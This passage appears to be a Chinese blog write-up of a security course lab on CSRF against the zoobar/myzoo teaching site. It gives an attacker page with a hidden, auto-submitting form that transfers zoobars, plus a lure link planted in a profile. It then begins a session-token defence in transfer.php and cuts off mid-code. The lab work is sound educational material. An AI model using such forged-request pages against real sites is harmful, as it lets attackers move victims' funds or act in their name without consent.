信息安全实践Lab3-CSRF&XSS&Click Jacking

信息安全实践Lab3-CSRF&XSS&Click Jacking

该实验可以在一台虚拟机上完成,本文采用两台虚拟机的方式,myzoo网站所在虚拟机ip:10.211.55.14 , 攻击者网站所在虚拟机ip:10.211.55.16 。

CSRF

在zoobar网站上展示并防御CSRF攻击。请注意在防御时的粒度问题,防止所有人的token都一样;以及刷新太快,正常操作都失败。

配置

先在myzoo网站注册两个账号 victim和csrfattack。

攻击者服务器所在虚拟机配置(10.211.55.16):

1.安装apache2

sudo apt-get install apache2

2.关闭防火墙

sudo ufw disable

3.配置hosts

sudo vim /etc/hosts
在最后添加 
10.211.55.14  www.myzoo.com  #这里的ip填写myzoo服务器的ip地址
127.0.0.1 www.attack.com 

4.编写index.html文件

sudo cd /var/www/html
sudo vim index.html
将下面的内容复制进去即可

index.html

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
    <title>my profile</title>
</head>

<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>

<form method="POST"
      name="transferform"
      action="http://www.myzoo.com/transfer.php"
      target="it"
      id="transferform"
      style="display:none">

    <input name="zoobars" type="text" value="1" size="5">
    <input name="recipient" type="text" value="csrfattack"> 
    <input type="hidden" name="submission" value="Send">
</form>

<img src="http://106.13.136.87:8080/101.jpeg">

<script type="text/javascript">
    form = document.getElementById("transferform");
    form.submit();
</script>

</body>
</html>

myzoo网站所在虚拟机配置(10.211.55.14):

1.关闭防火墙

sudo ufw disable

2.配置hosts

sudo vim /etc/hosts
在最后添加 
127.0.0.1  www.myzoo.com
10.211.55.16 www.attack.com #这里的ip填写攻击者服务器的ip地址

攻击

1.在csrfattack账号的profile中写入:

<a href="http://www.attack.com"> 点击查看我的照片哦</a>

然后点击save。

2.在10.211.55.14上登录victim账户,victim用户去查看csrfattack的profile

在这里插入图片描述

当victim点击该链接后,就会向csrfattack转1个zoobars。

防御

方法1:使用session

修改transfer.php文件:

1.在开头加入下面的内容

<?php
  session_start();
?>

2.修改if语句

if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf'])

3.在45-47行加入下面内容

<?php
  $_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>

4.在form中添加下面的内容

<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>

修改后的transfer.php如下:

<?php
  session_start();
?>

<?php 
  require_once("includes/common.php"); 
  nav_start_outer("Transfer");
  nav_start_inner();
 //if($_POST[&#
  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值